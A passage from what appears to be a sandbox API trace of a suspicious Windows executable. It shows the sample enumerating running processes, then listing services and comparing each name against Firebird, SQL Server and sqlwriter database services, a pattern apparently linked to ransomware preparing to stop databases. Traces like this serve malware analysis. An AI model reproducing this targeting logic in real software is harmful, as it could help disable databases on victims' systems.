hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0171.378] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0171.378] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0171.379] lstrlenW (lpString="stream-test.exe") returned 15 [0171.379] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0171.379] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0171.379] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0171.380] lstrlenW (lpString="taskhostw.exe") returned 13 [0171.380] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0171.381] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0171.381] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0171.382] lstrlenW (lpString="movers-indication.exe") returned 21 [0171.382] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0171.383] lstrlenW (lpString="drama tv thee.exe") returned 17 [0171.383] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0171.383] lstrlenW (lpString="barriers.exe") returned 12 [0171.383] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0171.384] lstrlenW (lpString="shootclick.exe") returned 14 [0171.384] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0171.385] lstrlenW (lpString="nickel.exe") returned 10 [0171.385] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0171.386] lstrlenW (lpString="imperialopened.exe") returned 18 [0171.386] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0171.386] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0171.387] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0171.387] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0171.387] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0171.388] lstrlenW (lpString="perhapssentences.exe") returned 20 [0171.388] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0171.389] lstrlenW (lpString="dllhost.exe") returned 11 [0171.389] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.390] lstrlenW (lpString="svchost.exe") returned 11 [0171.390] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0171.390] lstrlenW (lpString="chrome64b.exe") returned 13 [0171.390] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0171.391] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0171.391] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0171.392] lstrlenW (lpString="conhost.exe") returned 11 [0171.392] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0171.393] lstrlenW (lpString="cmd.exe") returned 7 [0171.393] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0171.393] lstrlenW (lpString="conhost.exe") returned 11 [0171.393] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0171.394] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0171.394] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0171.395] CloseHandle (hObject=0x360) returned 1 [0171.395] Sleep (dwMilliseconds=0x1f4) [0171.914] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7cea50 [0171.914] EnumServicesStatusExW (in: hSCManager=0x7cea50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0171.914] GetLastError () returned 0xea [0171.914] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x43800d0 [0171.919] EnumServicesStatusExW (in: hSCManager=0x7cea50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43800d0, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43800d0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0171.919] CloseServiceHandle (hSCObject=0x7cea50) returned 1 [0171.919] lstrlenW (lpString="Appinfo") returned 7 [0171.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0171.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0171.919] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0171.920] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0171.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0171.920] lstrlenW (lpString="AppXSvc") returned 7 [0171.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0171.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0171.920] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0171.920] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0171.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0171.920] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0171.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0171.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0171.920] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0171.920] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0171.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0171.920] lstrlenW (lpString="Audiosrv") returned 8 [0171.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0171.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0171.920] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0171.920] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0171.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0171.920] lstrlenW (lpString="BFE") returned 3 [0171.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0171.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0171.920] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0171.920] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0171.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0171.920] lstrlenW (lpString="BITS") returned 4 [0171.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0171.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0171.920] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0171.920] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0171.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0171.920] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0171.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0171.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0171.921] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0171.921] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0171.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0171.921] lstrlenW (lpString="CDPSvc") returned 6 [0171.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0171.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0171.921] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0171.921] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0171.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0171.921] lstrlenW (lpString="ClickToRunSvc") returned 13 [0171.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0171.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0171.921] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0171.921] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0171.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0171.921] lstrlenW (lpString="ClipSVC") returned 7 [0171.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0171.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0171.921] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0171.921] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0171.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0171.921] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0171.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0171.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0171.921] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0171.921] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0171.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0171.921] lstrlenW (lpString="CryptSvc") returned 8 [0171.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0171.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0171.921] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0171.921] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0171.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0171.921] lstrlenW (lpString="DcomLaunch") returned 10 [0171.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0171.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0171.922] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0171.922] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0171.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0171.922] lstrlenW (lpString="DeviceAssociationService") returned 24 [0171.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0171.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0171.922] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0171.922] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0171.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0171.922] lstrlenW (lpString="Dhcp") returned 4 [0171.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0171.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0171.922] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0171.922] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0171.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0171.922] lstrlenW (lpString="Dnscache") returned 8 [0171.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0171.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0171.922] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0171.922] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0171.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0171.922] lstrlenW (lpString="DoSvc") returned 5 [0171.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0171.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0171.922] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0171.922] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0171.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0171.922] lstrlenW (lpString="DPS") returned 3 [0171.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0171.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0171.922] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0171.922] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0171.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0171.922] lstrlenW (lpString="DusmSvc") returned 7 [0171.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0171.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0171.923] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0171.923] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0171.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0171.923] lstrlenW (lpString="EventLog") returned 8 [0171.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0171.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0171.923] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0171.923] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0171.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0171.923] lstrlenW (lpString="EventSystem") returned 11 [0171.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0171.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0171.923] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0171.923] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0171.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0171.923] lstrlenW (lpString="FontCache") returned 9 [0171.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0171.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0171.923] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0171.923] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0171.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0171.923] lstrlenW (lpString="gpsvc") returned 5 [0171.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0171.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0171.923] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0171.923] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0171.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0171.923] lstrlenW (lpString="iphlpsvc") returned 8 [0171.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0171.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0171.923] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0171.923] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0171.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0171.924] lstrlenW (lpString="KeyIso") returned 6 [0171.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0171.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0171.924] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0171.924] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0171.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0171.924] lstrlenW (lpString="LanmanServer") returned 12 [0171.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0171.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0171.924] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0171.924] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0171.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0171.924] lstrlenW (lpString="LanmanWorkstation") returned 17 [0171.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0171.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0171.924] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0171.924] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0171.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0171.924] lstrlenW (lpString="lfsvc") returned 5 [0171.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0171.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0171.924] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0171.924] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0171.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0171.924] lstrlenW (lpString="LicenseManager") returned 14 [0171.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0171.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0171.924] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0171.924] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0171.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0171.924] lstrlenW (lpString="lmhosts") returned 7 [0171.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0171.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0171.924] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0171.925] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0171.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0171.925] lstrlenW (lpString="LSM") returned 3 [0171.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0171.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0171.925] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0171.925] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0171.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0171.925] lstrlenW (lpString="MpsSvc") returned 6 [0171.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0171.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0171.925] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0171.925] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0171.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0171.925] lstrlenW (lpString="NcbService") returned 10 [0171.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0171.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0171.925] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0171.925] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0171.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0171.925] lstrlenW (lpString="netprofm") returned 8 [0171.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0171.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0171.925] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0171.925] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0171.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0171.925] lstrlenW (lpString="NlaSvc") returned 6 [0171.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0171.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0171.925] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0171.925] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0171.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0171.925] lstrlenW (lpString="nsi") returned 3 [0171.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0171.925] lstrcmpiW 